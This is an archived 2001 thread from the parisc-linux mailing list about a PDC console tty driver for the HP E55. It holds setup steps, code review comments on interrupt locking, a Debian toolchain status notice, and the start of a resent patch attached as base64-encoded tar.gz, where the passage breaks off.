> 1. Compile and have a look that the pdc_drv.o is included in
> drivers/char/Makefile
> 2. dev entry /dev/ttyB0 c 30 0
> 3. /etc/inittab, have a login at ttyB0
> 4. Added the `ttyB0' device to /etc/securetty, if you want login as
> `root' on the
>         console
> 5. kernel line parameter with `console=ttyB0'
> 
> (ad 1): In the future (if somebody can help me) we want to have a config
> item in
> the kernel configuration for the PDC console.
> 
> I attch two files:
>         - linux-cvs.diff-20011119.log
>                 Diffs displayed by `cvs -z9 diff -u .'
>         - pdc_drv.c
>                 The new file (simple displayed as `? drivers/char/pdc_drv.c')
>                 The file has to be checked in at `drivers/char'
> 
> I hope you can use it and will add it to the mainstream kernel ...
> 
> Bye
> Christoph P.
> 
> Thomas Marteau wrote:
> >
> > Hi Christoph,
> >
> >         I am updating our list of working hardware. Could you tell me if you
> > know something about the status of PA/Linux on E55?
> >
> > Thanks for your answer, Thomas.
> > ESIEE Team
> 
> --
> -------------------------------------------------------
> private:        christoph.plattner@gmx.at
> company:        christoph.plattner@alcatel.at
> 
>   ------------------------------------------------------------------------
-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status - ADDENDUM TO DRIVER
Date: Mon, 19 Nov 2001 23:24:16 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20011119232416.A652@parcelfarce.linux.theplanet.co.uk>
References: <3B4396D8.9A33414F@gmx.at> <3BF4E38C.D59603FE@esiee.fr> <3BF98AD5.9BCB6861@gmx.at> <3BF98FEE.CC8F4EB3@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620784 30595 80.91.229.3 (22 Nov 2014 01:46:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:24 +0000 (UTC)
Cc: Thomas Marteau <marteaut@esiee.fr>,
	grundler@puffin.external.hp.com, ryan_bradetich@uswest.net,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 16:24:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3ABCA482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 16:24:19 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 165xlw-0001Wl-00; Mon, 19 Nov 2001 23:24:16 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BF98FEE.CC8F4EB3@gmx.at>; from christoph.plattner@gmx.at on Tue, Nov 20, 2001 at 12:04:14AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13149

On Tue, Nov 20, 2001 at 12:04:14AM +0100, Christoph Plattner wrote:
> The PDC tty driver should never be used as module, this would not make
> any sense. So the `init_module' routines at the end should be deleted.

init_module indicates the entry point of a module.  it is NOT only for
dynamically loadable modules.  if the module is built in to the kernel,
it is called during the __initcall section of bootup.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status
Date: Mon, 19 Nov 2001 23:33:55 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20011119233355.B652@parcelfarce.linux.theplanet.co.uk>
References: <3B4396D8.9A33414F@gmx.at> <3BF4E38C.D59603FE@esiee.fr> <3BF98AD5.9BCB6861@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620784 30598 80.91.229.3 (22 Nov 2014 01:46:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:24 +0000 (UTC)
Cc: Thomas Marteau <marteaut@esiee.fr>,
	grundler@puffin.external.hp.com, ryan_bradetich@uswest.net,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 16:33:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F8F5482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 16:33:57 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 165xvH-0001cR-00; Mon, 19 Nov 2001 23:33:55 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BF98AD5.9BCB6861@gmx.at>; from christoph.plattner@gmx.at on Mon, Nov 19, 2001 at 11:42:29PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13150

Let's try a quick audit...

On Mon, Nov 19, 2001 at 11:42:29PM +0100, Christoph Plattner wrote:
> cvs server: Diffing .
> cvs server: Diffing Documentation

could you use the cvsrc distributed as part of build-tools?  it removes
this extra verbiage...

> +	/* wait for a keyboard (rs232)-input */
> +	do {
> +		unsigned long flags;
> +
> +		save_flags(flags);
> +		cli();
> +		status = real32_call(PAGE0->mem_kbd.iodc_io,
> +			(unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
> +			PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers),
> +			__pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
> +		restore_flags(flags);
> +		ch = *iodc_dbuf;	/* save the character directly to ch */
> +	} while (0) ;                   /* once !! */

please use spin_lock_irqsave/restore instead.

> #ifdef SERIAL_INLINE
> #define _INLINE_ inline
> #else
> #define _INLINE_
> #endif

i hate this.  all examples of this have been removed from our tree afaik..

have to go out now... back later.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Toolchain improved, archive better, proceed with caution
Date: Mon, 19 Nov 2001 16:46:54 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20011119234654.7A9FB37E86@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620785 30601 80.91.229.3 (22 Nov 2014 01:46:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:25 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 16:46:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 797CB482C
	for <parisc-linux@parisc-linux.org>; Mon, 19 Nov 2001 16:46:58 -0700 (MST)
Original-Received: from carmen.fc.hp.com (unknown [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id C2E251F694; Mon, 19 Nov 2001 18:46:54 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 7A9FB37E86; Mon, 19 Nov 2001 16:46:54 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13151

The hppa-linux toolchain is much improved and in the Debian "unstable" 
archive. The "woody" tree still probably needs a few days to get sane again. 
There are still some outstanding toolchain problems but nothing major that 
affects runtime. So...

It is reasonably safe[1] to apt-get upgrade your "unstable" hppa-linux boxes. 
Some services, sshd in particular, may need to be restarted by hand. Keep this 
in mind when upgrading remotely.

Once the archive is reasonably stable and a few other things are done, we will 
be looking at doing another release, hopefully in the next week or so.

Please update your systems and report any problems to the correct list,

kernel and toolchain -> parisc-linux@parisc-linux.org
userspace and packaging -> debian-hppa@lists.debian.org

[1] as safe as it ever is to upgrade an "unstable" system

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status - NEW CVS DIFF (DRIVER)
Date: Tue, 20 Nov 2001 01:14:56 +0100
Organization: private
Lines: 235
Approved: news@gmane.org
Message-ID: <3BF9A080.C7DC7EB4@gmx.at>
References: <3B4396D8.9A33414F@gmx.at> <3BF4E38C.D59603FE@esiee.fr> <3BF98AD5.9BCB6861@gmx.at> <20011119233355.B652@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------D1202EA6272D226F6FF46EFF"
X-Trace: ger.gmane.org 1416620785 30610 80.91.229.3 (22 Nov 2014 01:46:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:25 +0000 (UTC)
Cc: Thomas Marteau <marteaut@esiee.fr>,
	grundler@puffin.external.hp.com, ryan_bradetich@uswest.net,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 17:15:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3EB17482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 17:15:01 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011120001457.MFLS1236.viefep13-int.chello.at@gmx.at>;
          Tue, 20 Nov 2001 01:14:57 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13152

This is a multi-part message in MIME format.
--------------D1202EA6272D226F6FF46EFF
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello again !

I have redone the stuff and have incorporated your commenst.
Further I have sent my two files as tar.gz, as the leading '>' may
also come from the mailer environment, as `-u' definitly does not
write '>' or '<', only +/-.

I have used the settings from the `.cvsrc' now.

Bye
Christoph P.



Matthew Wilcox wrote:
> 
> Let's try a quick audit...
> 
> On Mon, Nov 19, 2001 at 11:42:29PM +0100, Christoph Plattner wrote:
> > cvs server: Diffing .
> > cvs server: Diffing Documentation
> 
> could you use the cvsrc distributed as part of build-tools?  it removes
> this extra verbiage...
> 
> > +     /* wait for a keyboard (rs232)-input */
> > +     do {
> > +             unsigned long flags;
> > +
> > +             save_flags(flags);
> > +             cli();
> > +             status = real32_call(PAGE0->mem_kbd.iodc_io,
> > +                     (unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
> > +                     PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers),
> > +                     __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
> > +             restore_flags(flags);
> > +             ch = *iodc_dbuf;        /* save the character directly to ch */
> > +     } while (0) ;                   /* once !! */
> 
> please use spin_lock_irqsave/restore instead.
> 
> > #ifdef SERIAL_INLINE
> > #define _INLINE_ inline
> > #else
> > #define _INLINE_
> > #endif
> 
> i hate this.  all examples of this have been removed from our tree afaik..
> 
> have to go out now... back later.
> 
> --
> Revolutions do not require corporate support.

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at
--------------D1202EA6272D226F6FF46EFF
Content-Type: application/x-gzip;
 name="palinux-outgoing-20011120.tar.gz"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="palinux-outgoing-20011120.tar.gz"

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
